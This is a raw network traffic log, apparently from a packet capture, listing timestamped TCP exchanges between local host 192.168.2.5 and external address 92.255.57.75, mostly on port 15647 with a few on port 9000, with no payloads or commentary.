Dec 17, 2024 08:40:09.374541998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.374619961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.374661922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.384418964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.384587049 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.393980980 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.394046068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.394088984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.409882069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.410032988 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.412206888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.412324905 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.412390947 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.412462950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.416245937 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.417458057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.417541981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.417562008 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.426537991 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.434659958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.434745073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.434849977 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.449508905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.449593067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.449682951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.467216015 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.467341900 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.468070030 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.468156099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.468205929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.468205929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.481312990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.481436014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.500185013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.500446081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.513828039 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.513942003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.519351959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.519404888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.519645929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.540976048 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.541038990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.541182995 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.542092085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.542180061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.569552898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.569818974 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.575263977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.575342894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.575373888 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.593704939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.593833923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.619767904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.620158911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.628653049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.628735065 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.628742933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.639374971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.639673948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.641453981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.641689062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.654660940 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.654742002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.654767990 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.661842108 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.662036896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.663414955 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.663598061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.685583115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.695014000 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.695156097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.697911978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.697969913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.697993040 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.699836016 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.712866068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.712975025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.713006020 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.715895891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.734997034 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.739583969 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.739761114 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.740338087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.740425110 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.740444899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.740623951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.759454966 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.759533882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.761580944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.781812906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.781872034 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.793282986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.793376923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.805633068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.805722952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.817806005 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.817872047 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.818835974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.818883896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.818893909 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.820564032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.820614100 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.835675001 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.835760117 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.846502066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.846560001 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.854804039 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.854904890 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.879379034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.879441023 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.881736040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.881822109 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.905658960 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.905770063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.906579971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.906625032 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.906665087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.906894922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.925523043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.925725937 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.938739061 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.938832998 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.940130949 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.940221071 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.940229893 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.940407991 CET	9000	50023	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.940578938 CET	50023	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.940607071 CET	9000	50023	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.940728903 CET	50023	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.966624022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:09.966712952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:09.991998911 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.000545025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.000626087 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.022667885 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.026072025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.026127100 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.028106928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.028166056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.028239965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.029951096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.030004025 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.030004978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.030044079 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.032134056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.032253981 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.055484056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.058595896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.059921026 CET	50028	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.060338974 CET	9000	50023	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.061922073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.061996937 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.062004089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.093880892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.095813036 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.105463982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.105770111 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.106195927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.106250048 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.106281996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.106355906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.111949921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.112010002 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.129923105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.129998922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.130305052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.130354881 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.130383968 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.142517090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.142693043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.147996902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.148051023 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.149451017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.149612904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.149626017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.149658918 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.151946068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.172502041 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.172549963 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.174616098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.174629927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.174674988 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.174705029 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.175559044 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.179754019 CET	9000	50028	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.179824114 CET	50028	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.180255890 CET	50028	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.192857981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.192909956 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.225724936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.226413965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.238147020 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.238226891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.250075102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.250140905 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.251574039 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.253626108 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.253671885 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.267827034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.267904043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.270701885 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.270777941 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.270823956 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.295658112 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.297209024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.299837112 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.301201105 CET	9000	50028	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.323045969 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.341027021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.341052055 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.341172934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.358906984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.362543106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.366525888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.369986057 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.373913050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.374058008 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.407969952 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.408015966 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.408143044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.415517092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.417676926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.417921066 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.418409109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.418421030 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.418477058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.418477058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.435981035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.435993910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.436126947 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.443023920 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.462074041 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.462100029 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.462430000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.481615067 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.487796068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.491014957 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.495770931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.495781898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.495987892 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.529797077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.532728910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.532896042 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.538250923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.539352894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.550519943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.550775051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.562175989 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.562556982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.583025932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.583102942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.583182096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.583342075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.604027987 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.604334116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.607713938 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.609674931 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.615773916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.616035938 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.627824068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.627919912 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.646482944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.649863958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.649964094 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.659164906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.659934044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.674834967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.675908089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.682949066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.682964087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.683284998 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.703164101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.703699112 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.705286026 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.705305099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.705735922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.724587917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.729752064 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.731853008 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.735064030 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.735119104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.735135078 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.747760057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.752103090 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.767040014 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.767076015 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.775361061 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.776429892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.776438951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.776631117 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.795625925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.795799971 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.803122997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.803169966 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.803281069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.823401928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.823540926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.825946093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.827924967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.841855049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.844063044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.845385075 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.845962048 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.855058908 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.855715990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.855726957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.855876923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.863152027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.886898994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.887007952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.896455050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.898067951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.913666964 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.916445017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.917896032 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.921292067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.921334982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.921436071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.943389893 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.945867062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.947720051 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.949827909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.958506107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.962732077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.964015961 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.964159012 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.974464893 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.974498987 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.974603891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.974603891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.976061106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:10.980022907 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:10.990658045 CET	15647	49998	92.255.57.75	192.168.2.5
